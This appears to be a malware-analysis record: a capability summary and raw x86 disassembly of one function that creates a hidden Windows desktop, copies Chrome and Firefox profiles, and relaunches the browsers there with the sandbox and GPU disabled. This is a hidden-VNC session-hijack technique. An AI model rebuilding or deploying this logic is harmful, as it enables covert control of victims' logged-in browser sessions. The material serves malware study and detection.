Function at 0x413695
Capabilities:
Create directory
Create process on windows
Create process suspended
Delete file
Read .ini file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x510
push ebx
push esi
push edi
push 0x44
pop ebx
push ebx
lea eax, [ebp - 0xb4]
push 0
push eax
call fcn.00401052
xor eax, eax
mov dword [ebp - 0xb4], ebx
lea edi, [ebp - 0x5c]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x41a420
xor edi, edi
mov dword [ebp - 0xac], eax
push edi
push 0x10000000
push edi
push edi
push edi
push eax
call dword [sym.imp.USER32.dll_CreateDesktopW]
push 0x208
lea eax, [ebp - 0x50c]
push edi
push eax
call fcn.00401052
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.00403373
test eax, eax
jne 0x413744
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x104
push eax
lea eax, [ebp - 0x50c]
push eax
push 0x4176a8
push str.http
push 2
push edi
call dword [sym.imp.SHLWAPI.dll_AssocQueryStringW]
lea eax, [ebp - 0x50c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
lea ebx, [ebp - 0x50c]
jmp 0x413757
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
mov ebx, dword [ebp + 8]
mov esi, eax
mov dword [ebp - 0x1c], ebx
push str.chrome.exe
push esi
call fcn.00401144
pop ecx
pop ecx
test eax, eax
jne 0x4139d9
push str.chrome.exe
lea ecx, [ebp - 0xc]
call fcn.004036f7
mov ecx, eax
call fcn.00412155
mov ecx, dword [ebp - 0xc]
mov esi, eax
call fcn.00405feb
lea ecx, [ebp - 0x10]
test esi, esi
je 0x413984
push 0x28
pop edx
call fcn.00410c8a
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040373f
push str.AppDataLocalGoogleChromeUser_Data
lea ecx, [ebp - 0xc]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x24]
call fcn.00403447
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
call fcn.0040373f
push str.AppDataLocalGoogleBackup
lea ecx, [ebp - 0xc]
call fcn.004036f7
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
mov esi, dword [ebp - 8]
mov eax, 0x414
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x36], edi
mov dword [ebp - 0x2e], edi
mov dword [ebp - 0x32], edi
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.xcopy.exe__H__Y__E__C
lea ecx, [ebp - 0x18]
call fcn.004036f7
mov ebx, 0x41a0ec
lea ecx, [ebp - 0x18]
push ebx
call fcn.004033d1
mov edi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, edi
call fcn.00403447
push ebx
push 0x419110
push ebx
mov ecx, edi
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
mov edi, eax
lea eax, [ebp - 8]
push eax
mov ecx, edi
call fcn.00403447
push ebx
mov ecx, edi
call fcn.004033d1
push 0x25
pop edx
lea ecx, [ebp - 0x20]
call fcn.00410c8a
push str.xcopy.exe
lea ecx, [ebp - 0xc]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x20]
call fcn.00403447
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
push 0x44
xor ebx, ebx
lea eax, [ebp - 0xfc]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0xfc]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push dword [ebp - 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x20]
call ebx
push 0xffffffffffffffff
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x417b80
lea ecx, [ebp - 0x14]
call fcn.004036f7
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir_
push 0x41a0ec
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
call fcn.0040357c
mov ecx, eax
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
mov edi, eax
lea eax, [ebp - 8]
push eax
mov ecx, edi
call fcn.00403447
push 0x41a0ec
mov ecx, edi
call fcn.004033d1
lea eax, [ebp - 0x5c]
xor edi, edi
push eax
lea eax, [ebp - 0xb4]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call ebx
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], edi
call fcn.00405feb
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ecx, esi
mov dword [ebp - 0x18], edi
call fcn.00405feb
mov ecx, dword [ebp - 0x24]
call fcn.00405feb
jmp 0x4139ca
push 0x417b80
call fcn.004036f7
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11
push 0x41a0ec
push ebx
lea ecx, [ebp - 0x10]
call fcn.0040357c
mov ecx, eax
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0xb4]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
push 0xfffffffffffffffe
jmp 0x413e18
push str.firefox.exe
push esi
call fcn.00401144
pop ecx
pop ecx
test eax, eax
jne 0x413dec
push str.firefox.exe
lea ecx, [ebp - 0xc]
call fcn.004036f7
mov ecx, eax
call fcn.00412155
mov ecx, dword [ebp - 0xc]
mov esi, eax
call fcn.00405feb
or edi, 0xffffffff
lea eax, [ebp - 0x304]
push 0x208
test esi, esi
je 0x413cdd
xor edi, edi
push edi
push eax
call fcn.00401052
add esp, 0xc
lea ecx, [ebp - 0xc]
push 0x28
pop edx
call fcn.00410c8a
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040373f
push str.AppDataRoamingMozillaFirefox_
lea ecx, [ebp - 0x10]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x1c]
call fcn.00403447
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
call fcn.0040373f
push str.AppDataRoamingFirefoxBackup
lea ecx, [ebp - 0x10]
call fcn.004036f7
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
mov esi, dword [ebp - 8]
mov eax, 0x414
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x36], edi
mov dword [ebp - 0x2e], edi
mov dword [ebp - 0x32], edi
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040373f
push str.profiles.ini
lea ecx, [ebp - 0x20]
call fcn.0040357c
push dword [ebp - 0x20]
lea eax, [ebp - 0x304]
push 0x104
push eax
push edi
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040373f
lea eax, [ebp - 0x304]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040357c
push str.xcopy.exe__H__Y__E__C
lea ecx, [ebp - 0x14]
call fcn.004036f7
mov edi, 0x41a0ec
lea ecx, [ebp - 0x14]
push edi
call fcn.004033d1
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00403447
push edi
push 0x419110
push edi
mov ecx, esi
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
mov esi, eax
lea eax, [ebp - 8]
push eax
mov ecx, esi
call fcn.00403447
push edi
mov ecx, esi
call fcn.004033d1
push 0x25
pop edx
lea ecx, [ebp - 0x10]
call fcn.00410c8a
push str.xcopy.exe
lea ecx, [ebp - 0x28]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x10]
call fcn.00403447
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
push 0x44
xor esi, esi
lea eax, [ebp - 0xfc]
push esi
push eax
call fcn.00401052
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0xfc]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call edi
push 0xffffffffffffffff
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x417b80
lea ecx, [ebp - 0x18]
call fcn.004036f7
push str._no_remote__profile__
push 0x41a0ec
push ebx
lea ecx, [ebp - 0x18]
call fcn.0040357c
mov ecx, eax
call fcn.004033d1
mov ecx, eax
call fcn.004033d1
mov esi, eax
lea eax, [ebp - 8]
push eax
mov ecx, esi
call fcn.00403447
push 0x41a0ec
mov ecx, esi
call fcn.004033d1
push str.prefs.js
lea ecx, [ebp - 0x28]
call fcn.004036f7
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
push 0
push 0x80
push 4
push 0
push 3
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x4c]
push eax
push 0x30
push str.user_pref__layers.acceleration.disabled___true__
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x5c]
xor esi, esi
push eax
lea eax, [ebp - 0xb4]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0x18]
push ebx
call edi
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], esi
call fcn.00405feb
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x14], esi
call fcn.00405feb
mov ecx, dword [ebp - 0x20]
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov ecx, dword [ebp - 0x1c]
call fcn.00405feb
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
or edi, 0xffffffff
jmp 0x413e27
xor esi, esi
push esi
push eax
call fcn.00401052
add esp, 0xc
lea ecx, [ebp - 0x10]
push 0x28
pop edx
call fcn.00410c8a
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
call fcn.0040373f
push str.AppDataRoamingMozillaFirefox_
lea ecx, [ebp - 0x28]
call fcn.004036f7
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040373f
push str.profiles.ini
lea ecx, [ebp - 0xc]
call fcn.0040357c
push dword [ebp - 0xc]
lea eax, [ebp - 0x304]
push 0x104
push eax
push esi
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x304]
push eax
lea ecx, [ebp - 8]
call fcn.0040357c
push str.prefs.js
lea ecx, [ebp - 0x28]
call fcn.004036f7
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
push esi
push 0x80
push 4
push esi
push 3
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x4c]
push eax
push 0x30
push str.user_pref__layers.acceleration.disabled___true__
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0xb4]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
jmp 0x413e27
push str.iexplore.exe
push esi
call fcn.00401144
pop ecx
pop ecx
test eax, eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0xb4]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push edi
jne 0x413e1b
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xfffffffffffffffd
pop edi
jmp 0x413e27
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [ebp - 0x54]
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret